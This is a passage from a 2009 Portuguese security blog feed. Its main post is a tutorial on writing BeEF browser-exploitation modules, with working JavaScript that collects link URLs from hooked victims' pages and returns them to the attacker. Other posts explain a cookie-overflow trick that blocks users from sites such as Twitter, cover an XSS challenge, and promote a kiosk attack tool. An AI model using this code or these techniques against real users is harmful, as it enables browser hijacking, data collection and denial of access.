<h3><span style="color: #ff6600;">4# Tudo pronto!</span></h3>
<p>Temos tudo pronto e funcionando. Veja, abaixo, nosso módulo em ação:</p>
<p><strong>Sem especificar ID (lista Iframes):</strong></p>
<p><img class="aligncenter size-full wp-image-255" title="iframetools1" src="http://www.falandodeseguranca.com/wp-content/uploads/2009/10/iframetools1.jpg" alt="iframetools1" width="655" height="179" /></p>
<p><strong>Ao especificar um ID (retorna conteúdo do Iframe):</strong></p>
<p><img class="aligncenter size-full wp-image-254" title="iframetools2" src="http://www.falandodeseguranca.com/wp-content/uploads/2009/10/iframetools2.jpg" alt="iframetools2" width="655" height="179" /></p>
<p>É isso! Dúvidas e feedback: Envie um comentário neste post ou tweet para @gabrielpato <img src='http://www.falandodeseguranca.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Até a próxima!</p>
<p><span style="color: #ff6600;"><br />
</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.falandodeseguranca.com/2009/10/beef-como-programar-modulos-pt-2-modulo-iframe-tools/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>BeEF: O que é e Como programar Módulos (pt 1)</title>
		<link>http://www.falandodeseguranca.com/2009/10/beef-o-que-e-e-como-programar-modulos-pt-1/</link>
		<comments>http://www.falandodeseguranca.com/2009/10/beef-o-que-e-e-como-programar-modulos-pt-1/#comments</comments>
		<pubDate>Fri, 16 Oct 2009 07:19:31 +0000</pubDate>
		<dc:creator>Gabriel Lima</dc:creator>
				<category><![CDATA[Desenvolvimento, Frameworks, etc]]></category>
		<category><![CDATA[Segurança em Aplicações Web]]></category>
		<category><![CDATA[beef]]></category>
		<category><![CDATA[módulo]]></category>

		<guid isPermaLink="false">http://www.falandodeseguranca.com/?p=212</guid>
		<description><![CDATA[Browser Exploitation Framework, ou BeEF, é uma ferramenta que oferece controle em tempo real a &#8220;vítimas&#8221; (que se transformarão, na verdade, em &#8220;Zumbies&#8221;) que navegam em sites vulneráveis a cross-site scripting, contendo o código do framework injetado. Com o BeEF, você pode visualizar informações diversas de cada Zumbie conectado e os enviar códigos para determinadas [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 5px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F10%2Fbeef-o-que-e-e-como-programar-modulos-pt-1%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F10%2Fbeef-o-que-e-e-como-programar-modulos-pt-1%2F&amp;source=gabrielpato&amp;style=compact" height="61" width="50" /><br />
			</a>
		</div>
<p><img class="alignleft size-full wp-image-214" title="beef" src="http://www.falandodeseguranca.com/wp-content/uploads/2009/10/beef1.jpg" alt="beef" width="187" height="139" /> <strong>Browser Exploitation Framework</strong>, ou <strong>BeEF</strong>, é uma ferramenta que oferece controle em tempo real a &#8220;vítimas&#8221; (que se transformarão, na verdade, em &#8220;Zumbies&#8221;) que navegam em sites vulneráveis a cross-site scripting, contendo o código do framework injetado.</p>
<p>Com o BeEF, você pode visualizar informações diversas de cada Zumbie conectado e os enviar códigos para determinadas funções. Tais códigos vão de simples alertas exibidos em seus navegadores até a  Port Scan em hosts remotos ou internos.</p>
<p>Em sua versão 0.4, o potencial do BeEF aumentou com a integração com o <strong>Metasploit</strong>, através de XMLRPC. Exploits de navegadores, incluindo o utilitário &#8220;Browser Autopwn&#8221; que procura por versões vulneráveis de plugins e do próprio navegador da vítima,  podem ser iniciadas diretamente do BeEF, em poucos clicks.</p>
<p>Não tem segredo: BeEF é uma ferramenta fácil de se usar. Foi programada em PHP e possui uma interface bem amigável. Faça o download em <a href="http://www.bindshell.net/tools/beef">http://www.bindshell.net/tools/beef</a> . Mas lembre-se: Você precisará de um ambiente como Apache + PHP. (Não é necessário banco de dados. Os dados coletados são armazenados em arquivos de texto.)<br />
<img class="aligncenter size-full wp-image-241" title="screenbeef2" src="http://www.falandodeseguranca.com/wp-content/uploads/2009/10/screenbeef2.jpg" alt="screenbeef2" width="523" height="251" /></p>
<p>Mas é claro, o melhor do BeEF é a facilidade da criação de novos modulos, o que nos da a certeza de que é uma ferramenta que, com a ajuda da comunidade, estará cada dia melhor. Então, vamos à primeira parte sobre <strong>Criação de Módulos para o BeEF:</strong><strong> </strong></p>
<h3><strong><span style="color: #ff6600;">1# Os bastidores do BeEF</span></strong></h3>
<p>Ao entrar em um site com o código JavaScript, o navegador da vítima passa a se comunicar constantemente com o BeEF, &#8220;informando&#8221; que a sessão continua ativa, ou seja, que o Zumbie esta disponível,  e verificando se há códigos de módulos a ser executado. Um dos aspectos positivos, é que o código inicial contém apenas o necessário para a comunicação com o servidor. Os códigos das ações dos módulos são enviandos à vítima e executados apenas quando o <em>hacker</em> determinar.</p>
<h3><strong><strong><span style="color: #ff6600;">2# As Categorias dos Módulos<br />
</span></strong></strong></h3>
<p>Os módulos são organizados por categorias, são elas:</p>
<ul>
<li><strong>Standart Modules: </strong>Módulos de detecção de plugins e configurações de browser, além de comandos de javascript básicos como alerta, &#8220;deface&#8221; (reescrever o conteúdo da página), etc.</li>
<li><strong>Browser Modules: </strong>Módulos que exploram vulnerabilidades, como buffer overflow, em navegadores.</li>
<li><strong>Network Modules:</strong> Módulos de detecção,  exploração de falhas ou interação com serviços na rede.</li>
</ul>
<h3><strong><strong><strong><strong><span style="color: #ff6600;">3# Os arquivos e a organização de um Módulo</span></strong></strong></strong></strong></h3>
<p>Na pasta<strong> /modules/</strong> do BeEF, 3 sub-pastas são encontradas, sendo uma para cada categoria que descrevi acima. Dentro da pasta da categoria, há uma pasta para cada módulo (ex:<strong> /modules/standart/alert_dialog</strong> para o módulo de alertas).</p>
<p>Já nas pastas de cada módulo, vemos que ele é composto por três arquivos:</p>
<ul>
<li><strong>index.php:</strong> A página que será exibida dentro do BeEF para controle das ações do módulo.</li>
<li><strong>name.txt:</strong> Um simples arquivo de texto contendo o nome do módulo que será exibido no menu.</li>
<li><strong>template.js:</strong> O código JavaScript que será enviado ao Zumbie.</li>
</ul>
<h3><strong><strong><strong><strong><strong><strong><strong><strong><span style="color: #ff6600;">4# Mão na massa: Construindo nosso módulo.<br />
</span></strong></strong></strong></strong></strong></strong></strong></strong></h3>
<p>Para demonstrar os padrões usados na framework pelos arquivos index.php e template.js, nada melhor do que criarmos um simples módulo. Como o nosso módulo de exemplo será para listagem de links (URLs) na página atual, o chamaremos de <strong>URL CRAWLER</strong>.</p>
<h4><strong><span style="color: #ff6600;">4.1# Criando a Pasta </span></strong></h4>
<p>O classifiquei como &#8220;Standart&#8221;. Vamos, por tanto, criar a pasta <strong>/modules/standart/url_crawler/ </strong></p>
<h4><strong><span style="color: #ff6600;">4.2# Definindo o Nome </span></strong></h4>
<p>Feito isso, é hora de construirmos os arquivos necessários para seu funcionamento. Começaremos pelo mais simples, o <strong>name.txt</strong> .</p>
<p>Crie um arquivo de texto (txt) de nome <strong>name.txt</strong> contendo APENAS o nome do módulo, no caso, URL Crawler:</p>
<blockquote><p>URL Crawler</p></blockquote>
<h4><strong><span style="color: #ff6600;">4.2# Criando o Código JavaScript</span></strong></h4>
<p>Eis a parte principal da história. É aqui que faremos o código que será executado no navegador da vítima. Abaixo, o código comentado para nosso exemplo:</p>
<pre name="code" class="js">
// Função do_main() é o nome padrão usado no BeEF para a função principal do código.
function do_main(){
// Criamos a variável links, que será um Array contendo as tags &#x3C;&#x61;&#x3E; encontradas no site
var links = document.getElementsByTagName("a");
// Um loop, para que possamos tratar de cada &#x3C;&#x61;&#x3E; encontrado
for ( var i in links ) {
// Verifica se a tag contém o atributo href (link clicável) e se não é uma chamada javascript:
if(links[i].href &amp;&amp; (String(links[i].href).substring(0,11) != "javascript:")) {
// Adiciona a url encontrada na variável retorno
retorno = retorno + '\n' +links[i].href ; }
} }
// Define\Zera a variavel retorno.
var retorno = '';
// Chama função principal
do_main();
// Envia o resultado ao BeEF
return_result(result_id, retorno);
</pre>
<p>O mais importante a ser notado no exemplo dado, é o uso do <strong>return_result(result_id, retorno);</strong>. Esta função pertence ao JS injetado pelo BeEF, e o faz retornar uma informação, contendo o ID correto (result_id) para a ação. Em resumo, sempre que você desejar saber de algo da vítima, deverá usar este comando. Se seu objetivo não é coletar informações, você pode usa-lo para se certificar que a vítima já recebeu e executou o código, como por exemplo:</p>
<pre name="code" class="js">
alert("Teste!");
return_result(result_id, "Alerta executado!");
</pre>
<h4><strong><span style="color: #ff6600;">4.3# Criando o formulário de ativação</span></strong></h4>
<p>Neste primeiro módulo de exemplo, nosso formulário de ativação (a página em que o <em>hacker</em> irá acionar o módulo) será simples, pois deve conter apenas a descrição do módulo e dois botões: O de acionar, e o de definir o módulo como AutoRun. O autor do BeEF usou um padrão bem simples em todos os módulos. Nos próximos posts detalharei mais esta parte, criando páginas com maios opções. Por enquanto, basta seguir o modelo:</p>
<pre name="code" class="html">
<?
	// Copyright (c) 2006-2009, Wade Alcorn
	// All Rights Reserved
	// wade@bindshell.net - http://www.bindshell.net

	require_once("../../../include/common.inc.php"); // included for get_b64_file()
	DEFINE('JS_FILE', './template.js');
?>

<script>

	function get_b64_code_je() {
		// javascript is loaded from a file - it could be hard coded
		var b64code = '<? echo get_b64_file(JS_FILE); ?>';

		return b64code;
	}

	Element.Methods.set_autorun = function() {
               // Insira o nome do módulo no primeiro parâmetro do ar.enable:
		ar.enable('URL Crawler', get_b64_code_je());
	}

	Element.Methods.send_now = function() {
		do_send(get_b64_code_je());
	}

	// add construct code to DOM
	Element.addMethods();

</script>

<!-- Conteúdo do Formulário. Altere o nome e a descrição do módulo -->
<div id="module_header">URL Crawler</div>

Este modulo ira listar todas as URLs de links na pagina.
<div id="module_subsection">
<form name="myform">
<div id="module_subsection_header"></div>
<input class="button" type="button" value=" Set Autorun " onClick="javascript:set_autorun()"/>
<input class="button" type="button" value=" Send Now " onClick="javascript:send_now()"/>
	</form>
</div>
</pre>
<h4><strong><span style="color: #ff6600;">4.4# Ação!</span></strong></h4>
<p>Feito tudo isso, é só ir ao <strong>/beef/ui</strong> em seu navegador e conferir o novo módulo no menu. As URLs listadas aparecerão no log (parte direita do BeEF) e na página de informações individuais de cada Zumbie.</p>
<p>Por hoje é só, mas mais tutoriais sobre BeEF virão. </p>
<p>Espero que tenham gostado.<br />
Fique de olho! <img src='http://www.falandodeseguranca.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Abraços!<br />
Gabriel</p>
]]></content:encoded>
			<wfw:commentRss>http://www.falandodeseguranca.com/2009/10/beef-o-que-e-e-como-programar-modulos-pt-1/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Google Analytics &#8211; Cookies definidos por Buscas\URL podem comprometer acesso a sites</title>
		<link>http://www.falandodeseguranca.com/2009/06/google-analytics-cookies-definidos-por-buscasurl-podem-comprometer-acesso-a-sites/</link>
		<comments>http://www.falandodeseguranca.com/2009/06/google-analytics-cookies-definidos-por-buscasurl-podem-comprometer-acesso-a-sites/#comments</comments>
		<pubDate>Fri, 19 Jun 2009 05:46:03 +0000</pubDate>
		<dc:creator>Gabriel Lima</dc:creator>
				<category><![CDATA[Segurança em Aplicações Web]]></category>

		<guid isPermaLink="false">http://www.falandodeseguranca.com/?p=194</guid>
		<description><![CDATA[&#8230; ou: Como fazer com que um pobre usuário não consiga acessar um site específico. No caso deste post, o Twitter.com . Ok, antes de irmos direto ao assunto, vamos ao conceito. Quando seu navegador faz uma requisição HTTP, ele envia um cabeçalho contendo uma série de informações. Tal cabeçalho (ou Header) é constituido, entre [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 5px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F06%2Fgoogle-analytics-cookies-definidos-por-buscasurl-podem-comprometer-acesso-a-sites%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F06%2Fgoogle-analytics-cookies-definidos-por-buscasurl-podem-comprometer-acesso-a-sites%2F&amp;source=gabrielpato&amp;style=compact" height="61" width="50" /><br />
			</a>
		</div>
<p>&#8230; ou: <strong>Como fazer com que um pobre usuário não consiga acessar um site específico. </strong>No caso deste post, o Twitter.com .</p>
<p>Ok, antes de irmos direto ao assunto, vamos ao conceito.</p>
<p>Quando seu navegador faz uma requisição HTTP, ele envia um cabeçalho contendo uma série de informações. Tal cabeçalho (ou Header) é constituido, entre outras coisas, de seu user-agent, o arquivo a ser chamado, tipo de requisição (get, post, etc), campos de formulários, codificação dos caracteres, tipo de conteúdo, <strong>cookies</strong>, etc.  Cookies! hmm! Preste atenção nele aí!</p>
<p>Servidores Web costumam ter configurações que especificam quantos bytes serão permitidos no cabeçalho de uma requisição HTTP. Se a soma de todo o header passar dessa quantidade de bytes, ele anula o pedido, retornando erro. No caso do Apache 2.0, o comando que especifica esse valor é o <code><strong>LimitRequestFieldsize</strong>, e seu valor-padrão é <strong>8190</strong></code></p>
<p>Daí a idéia: Se conseguirmos fazer com que um usuário (Lê-se vítima), sempre que acessar um site, esteja com algo em seu header que ultrapasse esse limite, impossibilitariamos o seu acesso. &#8230; e esse alvo, são os cookies!</p>
<p>Pra quem não sabe, &#8220;<em><strong>Cookie</strong></em> é um grupo de dados trocados entre o <a title="Navegador" href="http://pt.wikipedia.org/wiki/Navegador">navegador</a> e o <a title="Servidor" href="http://pt.wikipedia.org/wiki/Servidor">servidor</a> de páginas, colocado num arquivo de texto criado no computador do utilizador.&#8221; (<em>definição da <a href="http://pt.wikipedia.org/wiki/Cookie" target="_blank">wikipedia em português</a></em>) .</p>
<p>Tudo bem, mas&#8230; como faremos para definir um cookie no navegador da vítima, para aquele site específico?</p>
<p>Sirdarckcat, autor da idéia, descobriu no <strong>Google Analytics,</strong> sistema de estatísticas para websites da Google usado em diversos sites, a solução. Para tratar suas estatísticas, o Google Analytics utiliza diversos cookies.  Entre eles, os dois abaixo são ideais para o ataque:</p>
<p><strong>1- Cookie para determinar visitante vindo de um site de busca &#8211; o &#8220;Search result &#8211; organic referers&#8221;</strong></p>
<p>Nas estatísticas geradas pelo Google Analytics, é possível ver quais termos em sites de buscas o rendeu visita. Segundo Sirdarckcat, é possível &#8220;fingir&#8221; uma busca no google usando links como:</p>
<p><span style="text-decoration: underline;">http://google.seudominio.com/search?q=search-term</span><br />
Ao passar um termo de busca grande, o mesmo ocupará um bom espaço no header. Porém, ele, sozinho, não quebrará o limite padrão dos web-servers, pois o limite para cada cookie é de 4192 bytes. A solução? Bem&#8230; definir mais um cookie!</p>
<p><strong>2- Google Analytics Site Overlay &#8211; GASO</strong></p>
<p>Para definir o cookie de nome GASO, basta acessar qualquer página que use o Google Analytics adicionando #gaso=VALOR no final da URL. (ex: http://site.com/pagina.php#gaso=valor-do-cookie)</p>
<p>A junção destes dois cookies usando todo o espaço de 4192 bytes resultará no estouro do limite de espaço para o cabeçalho. O site alvo ficará inacessível até que os cookies sejam excluidos.</p>
<p>Sirdarckcat fez um script para demonstrar esta idéia em ação.</p>
<p>Twitter sem SSL: <a href="http://google.sirdarckcat.net/?v=http://twitter.com/" target="_blank">http://google.sirdarckcat.net/?v=http://twitter.com/</a></p>
<p>Twitter com SSL: <a href="http://google.sirdarckcat.net/?v=https://twitter.com/" target="_blank">http://google.sirdarckcat.net/?v=https://twitter.com/</a></p>
<p>&#8230; e por falar em Twitter, com o uso frequente de encurtadores de URL, seria fácil que pessoas se tornem vítimas deste tipo de &#8220;ataque&#8221;, não?</p>
<p>FONTE: <a href="http://sirdarckcat.blogspot.com/ " target="_blank">http://sirdarckcat.blogspot.com/ </a>e <a href="http://httpd.apache.org/docs/2.0/mod/core.html#limitrequestfieldsize" target="_blank">http://httpd.apache.org/docs/2.0/mod/core.html#limitrequestfieldsize</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.falandodeseguranca.com/2009/06/google-analytics-cookies-definidos-por-buscasurl-podem-comprometer-acesso-a-sites/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>O caso &#8220;StrongWebMail.com&#8221;</title>
		<link>http://www.falandodeseguranca.com/2009/06/o-caso-strongwebmailcom/</link>
		<comments>http://www.falandodeseguranca.com/2009/06/o-caso-strongwebmailcom/#comments</comments>
		<pubDate>Fri, 12 Jun 2009 06:58:28 +0000</pubDate>
		<dc:creator>Gabriel Lima</dc:creator>
				<category><![CDATA[Segurança em Aplicações Web]]></category>

		<guid isPermaLink="false">http://www.falandodeseguranca.com/?p=186</guid>
		<description><![CDATA[Não. Eu não podia deixar de comentar sobre o caso mais comentado da última semana:  O desafio do StrongWebMail.com . Trata-se de um novo serviço que garante a segurança de seu login exigindo que você preencha números que o serão informados por telefone. Se é uma excelente idéia ou não, eu não sei.  Só sei [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 5px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F06%2Fo-caso-strongwebmailcom%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F06%2Fo-caso-strongwebmailcom%2F&amp;source=gabrielpato&amp;style=compact" height="61" width="50" /><br />
			</a>
		</div>
<p>Não. Eu não podia deixar de comentar sobre o caso mais comentado da última semana:  O desafio do StrongWebMail.com .</p>
<p>Trata-se de um novo serviço que garante a segurança de seu login exigindo que você preencha números que o serão informados por telefone. Se é uma excelente idéia ou não, eu não sei.  Só sei que eu não gostaria de ter meu celular tocando a cada vez que fosse conferir minha caixa de entrada. Isso sem contar, é claro, as situações em que o celular não está com você\esta descarregado\fora de área.</p>
<p>Eficiente ou não, a forma com que eles entraram no mercado chamou a a atenção da comunidade de segurança: Propuseram um desafio cujo objetivo era quebrar a segurança do sistema. O prêmio? 10 mil dólares. A empresa estava certamente confiante de que seu produto seguraria a barra&#8230; pelo menos por um bom tempo.  Como vocês podem imaginar, falharam.</p>
<p>A tarefa do desafio era ter acesso ao e-mail do CEO da empresa, obtendo sua caixa de entrada e sua lista de tarefas.</p>
<p>Em poucos minutos,  Lance James e mais dois hackers,  Mike Bailey e Aviv Raff, recrutados por twitter, encontraram uma falha.  Tratava-se de um Cross-site Scripting no campo de Assunto, quando visualizado pelo web-mail.  Segundo Lance, o mais trabalhoso &#8211; que levou aproximadamente 6 horas para ficar pronto &#8211; foi o exploit (código que seria injetado pela falha). Ele capturava mensagens na caixa de entrada, cookies e a lista de tarefas (&#8220;Task lists&#8221;, um dos serviços do site), os enviando para um script na web.</p>
<p>Bastava, então, que alguem entrasse naquele e-mail para o exploit funcionar. Para que isso ocorresse, Lance contatou a equipe de suporte notificando que havia obtido acesso à conta do CEO e que os detalhes estavam em sua caixa de entrada. Isso obrigaria a equipe a logar naquela conta, onde havia o XSS aguardando para ser executado.</p>
<p>Minutos depois, os dados já estavam em mãos. No entanto, inicialmente a empresa alegou que o método usado não seria válido por não se tratar de uma falha específica do sistema de autenticação deles, mas, depois de muito repercutir na web, anunciaram o grupo como vencedores e os pagaram a premiação. No mesmo anúncio, porém, alegaram que o sistema deles não foi burlado, pois o &#8220;hacker teve de encontrar um meio de evitar a verificação telefonica&#8221;, ou seja, o sistema deles ainda é eficiente. Neste ponto, eu concordo, mas não é só no momento de login que a segurança deve ser analisada. E neste aspecto a lição foi muito bem dada. Eles certamente viram que Cross-site Scripting é uma falha séria.</p>
<p>FONTES: <a href="http://www.fireblog.com/exclusive-interview-with-strongwebmails-10000-hacker/">Entrevista com Lance James no blog FireBlog</a> (inglês)<br />
Twitter: <a href="http://www.twitter.com/xssexploits">@XssExploits </a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.falandodeseguranca.com/2009/06/o-caso-strongwebmailcom/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>iKat 2.0 é lançado.</title>
		<link>http://www.falandodeseguranca.com/2009/06/ikat-2-e-lancado/</link>
		<comments>http://www.falandodeseguranca.com/2009/06/ikat-2-e-lancado/#comments</comments>
		<pubDate>Tue, 02 Jun 2009 05:16:22 +0000</pubDate>
		<dc:creator>Gabriel Lima</dc:creator>
				<category><![CDATA[Navegadores]]></category>
		<category><![CDATA[kiosk]]></category>
		<category><![CDATA[quiosque]]></category>

		<guid isPermaLink="false">http://www.falandodeseguranca.com/?p=176</guid>
		<description><![CDATA[Já havia comentado aqui no blog sobre a existencia do iKat &#8211; Interactive Kiosk Attack tool. Sua versão 1.0 foi lançado durante uma apresentação na Defcon nomeada &#8220;Compromising Windows Based Internet Kiosks&#8220;, feita por Paul Craig. Se você ainda não leu o post sobre o iKat 1.0 aqui no blog, recomendo que dê uma olhada. [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 5px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F06%2Fikat-2-e-lancado%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F06%2Fikat-2-e-lancado%2F&amp;source=gabrielpato&amp;style=compact" height="61" width="50" /><br />
			</a>
		</div>
<p style="text-align: center;"><img class="size-full wp-image-95 aligncenter" title="hackeie-um-quiosque" src="http://www.falandodeseguranca.com/wp-content/uploads/2009/05/hackeie-um-quiosque.jpg" alt="hackeie-um-quiosque" width="552" height="310" /></p>
<p>Já havia comentado <a href="http://www.falandodeseguranca.com/2009/05/hackeie-um-quiosque-de-internet/" target="_blank">aqui no blog</a> sobre a existencia do iKat &#8211; Interactive Kiosk Attack tool. Sua versão 1.0 foi lançado durante uma apresentação na Defcon nomeada &#8220;<a href="http://www.defcon.org/html/defcon-16/dc-16-speakers.html#Craig" target="_blank">Compromising Windows Based Internet Kiosks</a>&#8220;, feita por Paul Craig. Se você ainda não leu o post sobre o iKat 1.0 aqui no blog, recomendo que <a href="http://www.falandodeseguranca.com/2009/05/hackeie-um-quiosque-de-internet/">dê uma olhada</a>.</p>
<p>Logo em sua versão inaugural, o potencial da ferramenta já era grande. O acesso a shell foi obtido de forma rápida em mais da metade dos softwares de gerenciamento de quiosques (terminais públicos de acesso) rodando em Windows.</p>
<p>A nova versão promete muito mais: Agora o iKat é multi-plataforma, suportando soluções Linux e até OSX. Diversas novas ferramentas e técnicas para modelos específicos de quiosques foram implementadas. Ao contrário da primeira versão, os exploits não são mais apenas para navegadores baseados no Internet Explorer. Firefox e Safari entraram na lista de compatibilidade das ferramentas desta nova versão.</p>
<p>O que foi mantido &#8211; mesmo tendo sido criticado por muitos usuários &#8211; é o banner do site: Uma mulher (semi?)nua que não agrada muito a quem esta testando um terminal em lugar público.</p>
<p>O autor defende a permancia da imagem alegando que a ferramenta não foi projetada com a finalidade de pen-tests nestes locais. Sebastian Krahmer, um usuário do iKat em uma mail-list, brincando, respondeu: &#8220;Então o botão de pânico (que redireciona ao google) é para caso sua amavel mulher apareça em quanto você testa um quiosque em sua máquina local&#8230; &#8220;.</p>
<p>Independente da presença do banner, a ferramenta é incrível e eu recomendo que confira. Mesmo que não a use com a finalidade de testar quiosques\terminais, é interessante estudar os métodos usados para chegar ao controle da Shell por meio de códigos em um site sendo acessado por um navegador com restrições diversas.</p>
<p>É recomendavel que você baixe a ferramenta e crie seu próprio mirror, pois, segundo o autor, diversos sistemas de quiosques estão bloqueando o acesso ao site oficial. Uma solução temporária é usar um segundo link criado pelo autor, o <a href="http://ikat2.ha.cked.net/" target="_blank">http://ikat2.ha.cked.net</a></p>
<p>Fica a sugestão!</p>
<p>Até a próxima!</p>
<p><em></em></p>
<div id="contactsPlugin" style="color: #ffffff; font-family: arial; position: absolute; width: 250px; top: -200px; left: -200px;">
<div style="margin: 0pt; padding: 0pt; position: absolute; width: 100%; z-index: 95;">
<div style="height: 16px;"><img id="tdBgTop938" style="width: 250px; height: 16px;" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAPoAAAAQCAYAAAA/M2LZAAAACXBIWXMAAAsTAAALEwEAmpwYAAABOWlDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjarZGxSsNQFIa/G0XFoVYI4uBwJ1FQbNXBjElbiiBYq0OSrUlDldIk3NyqfQhHtw4u7j6Bk6PgoPgEvoHi1MEhSHASwW/6zs/hcOAHo2LXnYZRhkGsVbvpSNfz5ewTM0wBQCfMUrvVOgCIkzjiJwI+XxEAz5t23WnwN+bDVGlgAmx3oywEUQH6FzrVIMaAGfRTDeIOMNVJuwbiASj1cn8BSkHub0BJuZ4P4gMwe67ngzEHmEHuK4Cpo0sNUEvSkTrrnWpZtSxL2t0kiOTxKNPRIJP7cZioNFEdHXWB/D8AFvPFdtORa1XL2lvnn3E9X+b2foQAxNJjkRWEQ3X+3YWx8/tc3Bgvw+EtTE+KbPcKbjZg4brIVqtQ3oL78RfCs0/+HAmzJwAAAARnQU1BAACxnmFMQfcAAAAgY0hSTQAAeiUAAICDAAD5/wAAgOgAAFIIAAEVWAAAOpcAABdv11ofkAAAAiJJREFUeNrsmmGOqyAQx//A2MTPPUZP5qaepknfpXqFnqOxCL4P+yBIsV37cFfc+SeT4owi2vkNRBXH4xEJnQE0YLFYpenP6XT6iJ0iAt0DPgwD3zIWqzAJIZLAyxjyYRgYcharUAX8Nm3bnuMZnZfqLNaGl/JuRmfIWaxtqgEA+jebo+/7Z+t9FotVwLI9FhGhbdszAWhut9tqIOfiwto6fN95Tq016rpuyG3khG6tsHIRYa0FxiXGNbV/XdeYBfqSoHwXhAw76ycgX+o8Yb/PzkEAcL1esdvtUFWV/62qCkqpL8GRC54c/ZQM8laLUMmva3OMPdf1T/UT+40x0FpDa437/Y79fv8J+uVyeThYKeWBd0ZEk74w5tpzkzdnoq+p+JRYNEqFc2molu7L7au1Rt/3HljXDn1xLDRjjO/zcDh8gp5KCmstuq5D13VvXRwRjcwVgFemlEr65ib23D9qCow1JPw70P70Q6CtFYCvHG+MQd/3I0v5UuaADS1nztBSNzbHYOOioZTyhSDVDo2IIKVMxpy5uJQSUsrVzvb/k6Rzx1jCTP7OGK21sNbCGON/p8xa6yGNLfTH7Vz5voQIBWjpmyiEGAE/1X5lQohRWynlfUKIh3gciy2MuXE+2w7BTgE+Z9XifPHDnvAT6alta+0oFloYc/DFMWPMQ9y1X5kDNdX+zZ92E1gYhmHV1ZjFygI6v3JisbatvwAAAP//AwCuNgrrha029AAAAABJRU5ErkJggg==" alt="" /></div>
<div id="divBgMid938" style="z-index: 98; height: 1px;"><img id="tdBgMid938" style="width: 250px; height: 140px;" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAPoAAAABCAYAAAD3ubPnAAAACXBIWXMAAAsTAAALEwEAmpwYAAABOWlDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjarZGxSsNQFIa/G0XFoVYI4uBwJ1FQbNXBjElbiiBYq0OSrUlDldIk3NyqfQhHtw4u7j6Bk6PgoPgEvoHi1MEhSHASwW/6zs/hcOAHo2LXnYZRhkGsVbvpSNfz5ewTM0wBQCfMUrvVOgCIkzjiJwI+XxEAz5t23WnwN+bDVGlgAmx3oywEUQH6FzrVIMaAGfRTDeIOMNVJuwbiASj1cn8BSkHub0BJuZ4P4gMwe67ngzEHmEHuK4Cpo0sNUEvSkTrrnWpZtSxL2t0kiOTxKNPRIJP7cZioNFEdHXWB/D8AFvPFdtORa1XL2lvnn3E9X+b2foQAxNJjkRWEQ3X+3YWx8/tc3Bgvw+EtTE+KbPcKbjZg4brIVqtQ3oL78RfCs0/+HAmzJwAAAARnQU1BAACxnmFMQfcAAAAgY0hSTQAAeiUAAICDAAD5/wAAgOgAAFIIAAEVWAAAOpcAABdv11ofkAAAACNJREFUeNpizMnJ+T9jxgyGUTAKRsHwBBkZGQwAAAAA//8DAMoqBUW5sqOdAAAAAElFTkSuQmCC" alt="" /></div>
